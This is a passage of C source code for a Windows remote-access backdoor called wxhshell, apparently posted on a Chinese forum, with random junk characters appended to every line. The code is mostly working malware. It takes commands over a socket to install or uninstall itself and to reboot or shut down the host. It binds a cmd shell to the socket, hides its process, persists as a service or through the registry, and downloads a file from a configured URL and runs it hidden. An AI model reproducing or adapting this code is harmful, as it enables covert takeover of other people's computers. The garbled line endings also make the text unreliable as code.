[M2xF<r6t  
    switch(cmd[0]) { |F +n7  
  _LFABG=  
  // 帮助 i8!err._  
  case '?': { XZ"oOE0=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >?jmeD3u  
    break; D^S"6v" z  
  } (@NW2  
  // 安装 c1xX)cF  
  case 'i': { K_fJ{Vc>O  
    if(Install()) Flaqgi/j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \rY\wa  
    else 2S//5@~_m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sWKv> bx  
    break; kbSl.V%)  
    } n] 8*yoge  
  // 卸载 {S`Rr/E|%  
  case 'r': { 3uL$+F  
    if(Uninstall()) oQR?H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t!59upbN}3  
    else .Ms$)1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R@KWiV  
    break; xLP8*lvy  
    } 24*3m&fA*K  
  // 显示 wxhshell 所在路径 t$PJ*F67M  
  case 'p': { (ZP e{;L.  
    char svExeFile[MAX_PATH]; tm.&k6%  
    strcpy(svExeFile,"\n\r"); p.5 *`, )  
      strcat(svExeFile,ExeFile); _6->D[dB  
        send(wsh,svExeFile,strlen(svExeFile),0); ]} pAZd  
    break; *, R ~[g  
    } ]YY4{E(9d  
  // 重启 r-Oz k$  
  case 'b': { A:\_ \B%<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e 8^%}\F  
    if(Boot(REBOOT)) .*?)L3n+t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]dT]25V  
    else { (`<B#D;  
    closesocket(wsh); orFB*{/Z  
    ExitThread(0); r;O?`~2'4  
    } M"foP@  
    break; Mo]iVj8~  
    } _MTvNs  
  // 关机 q)PSHr=Z  
  case 'd': { yMOYTN@]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D >kkA|>  
    if(Boot(SHUTDOWN)) _)~|Z~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xR;z!Tg)  
    else { )>]SJQ!k  
    closesocket(wsh); @h5Q?I  
    ExitThread(0); W+.?J 60  
    } PPh1y;D  
    break; !q8A!P4|'  
    } kdMB.~(K=  
  // 获取shell {"0n^!  
  case 's': { !v*#E{r"g=  
    CmdShell(wsh); [-\DC*6  
    closesocket(wsh); UJ`%uLR~  
    ExitThread(0); sA }X)aP  
    break; Cyud)BZvm  
  } G }M!  
  // 退出 hysxHOL  
  case 'x': { \\/ !I   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =|d5V%mK  
    CloseIt(wsh); nb@<UbabW}  
    break; yCv"(fNQ  
    } #Z]<E6<=9  
  // 离开 fVq,?  
  case 'q': { Si|8xq$E;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7A  
    closesocket(wsh); AI .2os*  
    WSACleanup(); >Lz2zlZI  
    exit(1); pe+m%;nzR  
    break; 72y!cK6  
        } aX~' gq>  
  } efh1-3f  
  } %Jn5M(myC  
d_98%U+u  
  // 提示信息 5hB2:$C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DE?@8k  
} =OR&,xt  
  } x_EU.924uY  
^Cg@'R9  
  return; N mN:x&/  
} 6uFGq)4p@  
&HJ~\6r\  
// shell模块句柄 JM*rPzp  
int CmdShell(SOCKET sock) *JaFt@ x  
{ Q?%v b  
STARTUPINFO si; RHq r-%  
ZeroMemory(&si,sizeof(si)); s3M#ua#mX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sk. rJ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [oH,FSuO!2  
PROCESS_INFORMATION ProcessInfo; H/ub=,Ej*  
char cmdline[]="cmd"; (7v`5|'0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;"%luQA<w  
  return 0; J1Y3>40  
} B^1Io9  
GF Rd:e  
// 自身启动模式 ||?wRMV  
int StartFromService(void) ,qlFk|A|  
{ tWdP5vfp  
typedef struct QpifO  
{ 2K'}Vm+  
  DWORD ExitStatus; (yz8}L3  
  DWORD PebBaseAddress; Jaf=qwZ/`  
  DWORD AffinityMask; ::8E?c  
  DWORD BasePriority; !Jo.Un7  
  ULONG UniqueProcessId; *Xd_=@L&B  
  ULONG InheritedFromUniqueProcessId; O0"&wvR+5  
}   PROCESS_BASIC_INFORMATION; i)e)FhEY6  
O11.wLNH  
PROCNTQSIP NtQueryInformationProcess; v aaZ  
E9[8th,t  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; '?!2h'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;"GI~p2~7  
4U:+iumy2  
  HANDLE             hProcess; U 0S}O(Ptr  
  PROCESS_BASIC_INFORMATION pbi; >JhIRf  
d>7bwG+k  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g:c @  
  if(NULL == hInst ) return 0; fmq^AnKd  
FkT % -I  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jfrUOl'l  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'w7{8^Z2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4^B:Q9B)  
B6vmBmN  
  if (!NtQueryInformationProcess) return 0; ';7|H|,F  
cl-i6[F  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }(XvI^K[^  
  if(!hProcess) return 0; c[0$8F>  
z'X_ s.9F  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :ui1]its4  
%25_  
  CloseHandle(hProcess); )uyh  
y/2U:H  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Sq==)$G  
if(hProcess==NULL) return 0; HM1y$ej  
 yQ8H-a.  
HMODULE hMod; 4B}w;d@R  
char procName[255]; ,@ Cru=  
unsigned long cbNeeded; $RSVN?  
rQ$A|GJL  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); JGD{cr[S  
f1>^kl3@P  
  CloseHandle(hProcess); XsHl%o8,z  
HI eMV,.QN  
if(strstr(procName,"services")) return 1; // 以服务启动 }Mo9r4}  
%jM|*^\%  
  return 0; // 注册表启动 c#;LH5KI  
} "Hjw  
cw<DM%p  
// 主模块 3B "rI  
int StartWxhshell(LPSTR lpCmdLine) ikRIL2Y  
{ o6K BJx  
  SOCKET wsl;  )Bk?"q  
BOOL val=TRUE; FZmYv%J  
  int port=0; (^Do#3  
  struct sockaddr_in door; (*fsv g~  
Nmsb  
  if(wscfg.ws_autoins) Install(); p N]Hp"v  
)x|BY>  
port=atoi(lpCmdLine); |:r/K  
|I+E`,n"b  
if(port<=0) port=wscfg.ws_port; 7RD` *s  
PvT8XSlTx!  
  WSADATA data; .Um%6a-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $'FPst8Q<  
:g9z^ $g  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   JkxS1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); FvI`S>  
  door.sin_family = AF_INET; L kq>>?T=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (Fgt#H(B  
  door.sin_port = htons(port); Nyqm0C6m^  
Dfhs@ z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { fZ g*@RR  
closesocket(wsl); $=m17GD  
return 1; RLHe;-*b]I  
} IfXLnD^||  
fF[g%?w  
  if(listen(wsl,2) == INVALID_SOCKET) { f|^f^Hu:{  
closesocket(wsl); }Rux<=cd|  
return 1; t2Y~MyT/  
} |b3/63Ri-0  
  Wxhshell(wsl); Ju9v n44  
  WSACleanup(); VYAe !{[  
4COf H7Al9  
return 0; YKc{P"'/ |  
\!V6` @0KC  
} ;W*$<~_  
!3&vgvr  
// 以NT服务方式启动 "&+0jfLY+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (P>vI'  
{ 8c|IGC  
DWORD   status = 0; KnFbRhu[  
  DWORD   specificError = 0xfffffff; #EM'=Q%TO  
#129 i2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; v/haUPWF\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |B`tRq  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?GC0dN  
  serviceStatus.dwWin32ExitCode     = 0; jw[`_  
  serviceStatus.dwServiceSpecificExitCode = 0; O46/[{p+8  
  serviceStatus.dwCheckPoint       = 0; Elq8WtS  
  serviceStatus.dwWaitHint       = 0; 4QVd{  
M1M]]fT0ME  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -)I_+N  
  if (hServiceStatusHandle==0) return; ,/ : )FV  
t3XMQ']  
status = GetLastError(); zLn#p]  
  if (status!=NO_ERROR) nz',Zm},  
{ sq^"bLw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; M#>GU<4"  
    serviceStatus.dwCheckPoint       = 0; 09?<K)_G  
    serviceStatus.dwWaitHint       = 0; ?hu 9c  
    serviceStatus.dwWin32ExitCode     = status; O&s6blD11  
    serviceStatus.dwServiceSpecificExitCode = specificError; X>6a@$MxP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _# F'rl6'  
    return; uR%H"f  
  } rN~`4mZ  
By_Ui6:D  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  e.GzGX  
  serviceStatus.dwCheckPoint       = 0; D?'y)](  
  serviceStatus.dwWaitHint       = 0; h5gXYmk  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); W*m[t&;  
} tVcs r  
mN*P 2 *  
// 处理NT服务事件,比如:启动、停止 Vwqfn4sx?i  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >?'FH +2K  
{ ;~bn@T-  
switch(fdwControl) >D;hT*3  
{ e`rY]X  
case SERVICE_CONTROL_STOP: RVsNr rZ  
  serviceStatus.dwWin32ExitCode = 0; M Sj0D2H  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _YS+{0 Vq%  
  serviceStatus.dwCheckPoint   = 0; dW`D?$(@,  
  serviceStatus.dwWaitHint     = 0; \}=b/FL=U  
  { | <*(`\ 'w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !%X`c94  
  } D+3Y.r 9  
  return; aVYUk7_<  
case SERVICE_CONTROL_PAUSE: ,H?p9L; qp  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; jb2:O,+!  
  break; {\&"I|dpe  
case SERVICE_CONTROL_CONTINUE: f)x}_dw%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; zOOX>3^  
  break; iFA"m;$  
case SERVICE_CONTROL_INTERROGATE: *La =7y:  
  break; M::iU_  
}; #0D.37R+k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |7$h@KF=S  
} TH!8G,(w  
pQY>  
// 标准应用程序主函数 Q2NnpsA^6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 's?Fip  
{ kU/=Du  
3>" h*U#  
// 获取操作系统版本 U;GoC$b}|  
OsIsNt=GetOsVer(); (<Xdj^v  
GetModuleFileName(NULL,ExeFile,MAX_PATH); C(|5,P#5  
h12wk2@P/]  
  // 从命令行安装 U08?*{  
  if(strpbrk(lpCmdLine,"iI")) Install(); vWH>k+9&X  
^BX@0"&-  
  // 下载执行文件 `yZZP   
if(wscfg.ws_downexe) { YoJ'=z,e  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !f-o,RJ  
  WinExec(wscfg.ws_filenam,SW_HIDE); J#DcT@  
} HJR<d&l;p  
zYdtQjv  
if(!OsIsNt) { i@Zj 7#e*  
// 如果时win9x,隐藏进程并且设置为注册表启动 h.;CL#s  
HideProc(); I uj=d~|>  
StartWxhshell(lpCmdLine); 77d`N  
} `Qf :PX3  
else \cP'#jZz  
  if(StartFromService()) }GDG$QI]K&  
  // 以服务方式启动 !nq\x8nU  
  StartServiceCtrlDispatcher(DispatchTable); 'kvFU_)  
else N-9gfG  
  // 普通方式启动 \]A;EwC4C  
  StartWxhshell(lpCmdLine); ~+egu89'TU  
jYX9; C;J  
return 0; ~!F4JRf  
}
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只看该作者 1 发表于: 2006-10-10
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